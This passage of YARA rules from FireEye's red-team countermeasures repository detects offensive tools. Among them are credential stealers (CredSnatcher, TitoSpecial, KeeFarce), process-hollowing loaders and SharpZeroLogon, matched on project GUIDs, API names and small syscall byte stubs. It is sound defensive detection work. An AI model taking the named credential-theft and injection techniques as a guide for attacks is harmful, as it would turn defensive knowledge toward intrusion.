		author = "FireEye"
		id = "272cd3e9-884a-566b-ae90-4a79ee726a8d"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_REDTEAMMATERIALS_1.yar#L4-L16"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "ca54a1e8335c4256295fc643f5d31eae2e89f020dc7a9b571c4772edaad08022"
		score = 75
		quality = 71
		tags = "FILE"
		rev = 3
	strings:
		$typelibguid0 = "86c95a99-a2d6-4ebe-ad5f-9885b06eab12" ascii nocase wide
		$typelibguid1 = "e06f1411-c7f8-4538-bbb9-46c928732245" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPZIPLIBZIPPER_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpziplibzipper' project."
		author = "FireEye"
		id = "392a52be-29ae-58e1-b517-1ab34a1e1fb8"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPZIPLIBZIPPER_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "19354edb91a0d79fdf79437f7247bcf155514db40340af91a3320b556dc2e4c2"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 3
	strings:
		$typelibguid0 = "485ba350-59c4-4932-a4c1-c96ffec511ef" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPDNS_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpdns' project."
		author = "FireEye"
		id = "db6b45be-f42f-5d0f-b50a-32e7a2cbfce6"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPDNS_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "bab36f9b1532c3b24c2aea2907006820ed7cf1c90dae7a8138962e14ac9eff55"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 2
	strings:
		$typelibguid0 = "d888cec8-7562-40e9-9c76-2bb9e43bb634" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_Credtheft_MSIL_Credsnatcher_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CredSnatcher' project."
		author = "FireEye"
		id = "0d8f7495-4748-577d-8ef2-ccc4829fc165"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/CredTheft_MSIL_CredSnatcher_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "2c86be1bcf29bcb2c167f9248dee0ab4a5a5c6740fb1f18784ee2e380176df91"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 1
	strings:
		$typelibguid0 = "370b4d21-09d0-433f-b7e4-4ebdd79948ec" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}


rule FIREEYE_RT_Loader_MSIL_Generic_1 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "f919e3fc-cf76-53af-8f04-24921830666f"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/supplemental/yara/Loader_MSIL_Generic_1.yar#L4-L21"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "b8415b4056c10c15da5bba4826a44ffd"
		logic_hash = "06cddd7e1c1c778348539cfd50f01d55f86689dec86c045d7ce7b9cd71690e07"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 5
	strings:
		$MSIL = "_CorExeMain"
		$opc1 = { 00 72 [4] 0A 72 [4] 0B 06 28 [4] 0C 12 03 FE 15 [4] 12 04 FE 15 [4] 07 14 }
		$str1 = "DllImportAttribute"
		$str2 = "FromBase64String"
		$str3 = "ResumeThread"
		$str4 = "OpenThread"
		$str5 = "SuspendThread"
		$str6 = "QueueUserAPC"
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and $MSIL and all of them
}


rule FIREEYE_RT_Hacktool_MSIL_Keepersist_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'KeePersist' project."
		author = "FireEye"
		id = "950a4744-2696-5eb7-8524-7f689cb5dbb0"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/KEEPERSIST/production/yara/HackTool_MSIL_KeePersist_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "eae67c77a64ca07f9ef59a356bb2c3f3131f14e7f17c898ef8857a21090ace0e"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 2
	strings:
		$typelibguid0 = "1df47db2-7bb8-47c2-9d85-5f8d3f04a884" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_Hacktool_MSIL_SAFETYKATZ_4 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SafetyKatz project."
		author = "FireEye"
		id = "e160b75d-cc39-5e16-86e1-cba9fe64a6b6"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SAFETYKATZ/production/yara/HackTool_MSIL_SAFETYKATZ_4.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "45736deb14f3a68e88b038183c23e597"
		logic_hash = "a02b4acea691d485f427ed26487f2f601065901324a8dcd6cd8de9502d8cd897"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 3
	strings:
		$typelibguid1 = "8347E81B-89FC-42A9-B22C-F59A6A572DEC" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1
}




rule FIREEYE_RT_APT_Loader_Win_MATRYOSHKA_1 : FILE
{
	meta:
		description = "matryoshka_process_hollow.rs"
		author = "FireEye"
		id = "c07fb67e-ded5-593d-b5dc-d0e2c3b5a352"
		date = "2020-12-02"
		date = "2020-12-02"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Loader_Win_MATRYOSHKA_1.yar#L4-L24"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "44887551a47ae272d7873a354d24042d"
		logic_hash = "8f762684ffd3984630bf41ededa78b8993b53b22591a59912cabfe635775de53"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 1
	strings:
		$s1 = "ZwQueryInformationProcess" fullword
		$s2 = "WriteProcessMemory" fullword
		$s3 = "CreateProcessW" fullword
		$s4 = "WriteProcessMemory" fullword
		$s5 = "\x00Invalid NT Signature!\x00"
		$s6 = "\x00Error while creating and mapping section. NTStatus: "
		$s7 = "\x00Error no process information - NTSTATUS:"
		$s8 = "\x00Error while erasing pe header. NTStatus: "
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}

rule FIREEYE_RT_APT_Dropper_Win_MATRYOSHKA_1 : FILE
{
	meta:
		description = "matryoshka_dropper.rs"
		author = "FireEye"
		id = "7fd305c7-0b1b-5d91-b968-7f1fb0a8ae47"
		date = "2020-12-02"
		date = "2020-12-02"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Dropper_Win_MATRYOSHKA_1.yar#L4-L20"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "edcd58ba5b1b87705e95089002312281"
		logic_hash = "a7bf7599ec9b4b1d09a8c90b70ae565a9396fb31d449da3c1492d6fa336d9c5e"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 1
	strings:
		$s1 = "\x00matryoshka.exe\x00"
		$s2 = "\x00Unable to write data\x00"
		$s3 = "\x00Error while spawning process. NTStatus: \x0a\x00"
		$s4 = "\x00.execmdstart/Cfailed to execute process\x00"
	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}


rule FIREEYE_RT_Builder_MSIL_G2JS_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the Gadget2JScript project."
		author = "FireEye"
		id = "484202c2-ac7d-5e6c-8bf1-3452a357c668"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/G2JS/production/yara/Builder_MSIL_G2JS_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "fa255fdc88ab656ad9bc383f9b322a76"
		logic_hash = "487d8e8deef218412f241d99ce32b63bfeb3568d23048b9dd4afff8f401bfea5"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 2
	strings:
		$typelibguid1 = "AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1
}

rule FIREEYE_RT_Dropper_LNK_Lnksmasher_1 : FILE
{
	meta:
		description = "The LNKSmasher project contains a prebuilt LNK file that has pieces added based on various configuration items. Because of this, several artifacts are present in every single LNK file generated by LNKSmasher, including the Drive Serial #, the File Droid GUID, and the GUID CLSID."
		author = "FireEye"
		id = "1b93ddf8-9578-5e47-b479-4c9e8a40b4f4"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LNKSMASHER/production/yara/Dropper_LNK_LNKSmasher_1.yar#L4-L18"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "0a86d64c3b25aa45428e94b6e0be3e08"
		logic_hash = "61d1ac67ac0d332ad842a522cbebe1b9af1482d58a210b50fb45209355c0aeeb"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 6
	strings:
		$drive_serial = { 12 F7 26 BE }
		$file_droid_guid = { BC 96 28 4F 0A 46 54 42 81 B8 9F 48 64 D7 E9 A5 }
		$guid_clsid = { E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 30 9D }
		$header = { 4C 00 00 00 01 14 02 }
	condition:
		$header at 0 and all of them
}

rule FIREEYE_RT_Hacktool_MSIL_SHARPZEROLOGON_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public 'sharpzerologon' project."
		author = "FireEye"
		id = "51f22eee-fb96-55b0-8c02-1a0e9910a93e"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPZEROLOGON/production/yara/HackTool_MSIL_SHARPZEROLOGON_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "ed6a9bef5c6ee03aff969b8765b284ace517f2e6a1ef114acb04cf094c69cfa5"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 3
	strings:
		$typelibguid0 = "15ce9a3c-4609-4184-87b2-e29fc5e2b770" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}





rule FIREEYE_RT_Hacktool_MSIL_Keefarce_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'KeeFarce' project."
		author = "FireEye"
		id = "c17add0c-e09f-5ced-a4e1-bf60afad4725"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/KEEFARCE/production/yara/HackTool_MSIL_KeeFarce_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "8db86230849137608880dbe448737fc70068d308772e294cc69301b18ae10908"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 3
	strings:
		$typelibguid0 = "17589ea6-fcc9-44bb-92ad-d5b3eea6af03" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}


rule FIREEYE_RT_Hacktool_MSIL_HOLSTER_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the a customized version of the 'DUEDLLIGENCE' project."
		author = "FireEye"
		id = "e1e8979e-2dee-5061-a11d-00dcfba476c3"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/HackTool_MSIL_HOLSTER_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "a91bf61cc18705be2288a0f6f125068f"
		logic_hash = "bc254a1ab71f2a6092f139ce5a85347a7a4976f963603ffbbebb9b0d6ce6573c"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 2
	strings:
		$typelibguid1 = "a8bdbba4-7291-49d1-9a1b-372de45a9d88" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_MSIL_Launcher_DUEDLLIGENCE_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'DUEDLLIGENCE' project."
		author = "FireEye"
		id = "86f0ebe5-110b-53e2-bba5-676f00c2cddd"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/MSIL_Launcher_DUEDLLIGENCE_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "a91bf61cc18705be2288a0f6f125068f"
		logic_hash = "bd6abaa909f0c776d81ed1115e875888336661c91df3881f4f3ea5dd27e115f8"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 1
	strings:
		$typelibguid0 = "73948912-cebd-48ed-85e2-85fcd1d4f560" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_Tool_MSIL_Sharpgrep_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpGrep' project."
		author = "FireEye"
		id = "c7569d33-f57d-5f9c-aa2a-78866c680b5b"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPPGREP/production/yara/Tool_MSIL_SharpGrep_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "c22bfc50b3ab3c4082006aad3c3c89684cffe1e429b001b0bb08758856a47d04"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 1
	strings:
		$typelibguid0 = "f65d75b5-a2a6-488f-b745-e67fc075f445" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_Loader_MSIL_Wmirunner_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMIRunner' project."
		author = "FireEye"
		id = "04c6acfc-859f-5e4a-8c59-9adf08f21657"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WMIRUNNER/production/yara/Loader_MSIL_WMIRunner_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "49d21756a4f0b29909c4b0fa9f3a98dd0480f9401923032de4b3920814b85f29"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 1
	strings:
		$typelibguid0 = "6cc61995-9fd5-4649-b3cc-6f001d60ceda" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_Hacktool_MSIL_Prepshellcode_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'PrepShellcode' project."
		author = "FireEye"
		id = "32fb6b1d-e01f-5555-8516-088dca2166cf"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PREPSHELLCODE/production/yara/HackTool_MSIL_PrepShellcode_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "aedae87d84275f6589c982c04175ddc0aee3e4f3ae959ced4b4e2294675522e6"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 2
	strings:
		$typelibguid0 = "d16ed275-70d5-4ae5-8ce7-d249f967616c" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule FIREEYE_RT_Hacktool_MSIL_GETDOMAINPASSWORDPOLICY_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the recon utility 'getdomainpasswordpolicy' project."
		author = "FireEye"
		id = "69745e99-33cc-5171-ae7a-5c98439a0b6d"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/GETDOMAINPASSWORDPOLICY/production/yara/HackTool_MSIL_GETDOMAINPASSWORDPOLICY_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "6b2ea3ebfea2c87f16052f4a43b64eb2d595c2dd4a64d45dfce1642668dcf602"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 4
	strings:
		$typelibguid0 = "a5da1897-29aa-45f4-a924-561804276f08" ascii nocase wide
	condition:
		filesize < 10MB and ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}


rule FIREEYE_RT_Credtheft_MSIL_Titospecial_2 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the TitoSpecial project. There are 2 GUIDs in this rule as the x86 and x64 versions of this tool use a different ProjectGuid."
		author = "FireEye"
		id = "0262c720-e6b8-5bf2-a242-19a7f044973f"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/CredTheft_MSIL_TitoSpecial_2.yar#L4-L16"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "4bf96a7040a683bd34c618431e571e26"
		logic_hash = "2f621f8de2a4679e6cbce7f41859eaa3095ca54090c8bfccd3b767590ac91f2c"
		score = 75
		quality = 71
		tags = "FILE"
		rev = 4
	strings:
		$typelibguid1 = "C6D94B4C-B063-4DEB-A83A-397BA08515D3" ascii nocase wide
		$typelibguid2 = "3b5320cf-74c1-494e-b2c8-a94a24380e60" ascii nocase wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( $typelibguid1 or $typelibguid2 )
}


rule FIREEYE_RT_Credtheft_MSIL_Titospecial_1 : FILE
{
	meta:
		description = "This rule looks for .NET PE files that have the strings of various method names in the TitoSpecial code."
		author = "FireEye"
		id = "932bb013-03de-5cf7-89e9-b3232151d303"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/CredTheft_MSIL_TitoSpecial_1.yar#L4-L27"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "4bf96a7040a683bd34c618431e571e26"
		logic_hash = "4ac9a5ede4aea5d73545b459eb635f87ce08ba521afa48b76d2cfa94f1379226"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 4
	strings:
		$str1 = "Minidump" ascii wide
		$str2 = "dumpType" ascii wide
		$str3 = "WriteProcessMemory" ascii wide
		$str4 = "bInheritHandle" ascii wide
		$str5 = "GetProcessById" ascii wide
		$str6 = "SafeHandle" ascii wide
		$str7 = "BeginInvoke" ascii wide
		$str8 = "EndInvoke" ascii wide
		$str9 = "ConsoleApplication1" ascii wide
		$str10 = "getOSInfo" ascii wide
		$str11 = "OpenProcess" ascii wide
		$str12 = "LoadLibrary" ascii wide
		$str13 = "GetProcAddress" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of ( $str* )
}

rule FIREEYE_RT_APT_Hacktool_MSIL_TITOSPECIAL_1 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "b12490ba-41f6-5469-bcbb-0d2e0055c193"
		date = "2020-11-25"
		date = "2020-11-25"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/APT_HackTool_MSIL_TITOSPECIAL_1.yar#L4-L20"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "4bf96a7040a683bd34c618431e571e26"
		logic_hash = "6def0c667d38c1bad9233628e509bdcaed322e75be4ff3823b0f788c391e090c"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 5
	strings:
		$ind_dump = { 1F 10 16 28 [2] 00 0A 6F [2] 00 0A [50-200] 18 19 18 73 [2] 00 0A 13 [1-4] 06 07 11 ?? 6F [2] 00 0A 18 7E [2] 00 0A 7E [2] 00 0A 7E [2] 00 0A 28 [2] 00 06 }
		$ind_s1 = "NtReadVirtualMemory" fullword wide
		$ind_s2 = "WriteProcessMemory" fullword
		$shellcode_x64 = { 4C 8B D1 B8 3C 00 00 00 0F 05 C3 }
		$shellcode_x86 = { B8 3C 00 00 00 33 C9 8D 54 24 04 64 FF 15 C0 00 00 00 83 C4 04 C2 14 00 }
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of ( $ind* ) and any of ( $shellcode* )
}

rule FIREEYE_RT_Loader_MSIL_Csharpsectioninjection_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'C_Sharp_SectionInjection' project."
		author = "FireEye"
		id = "ca5bf5cd-1950-53ed-8984-e880a15e658e"
		date = "2020-12-08"
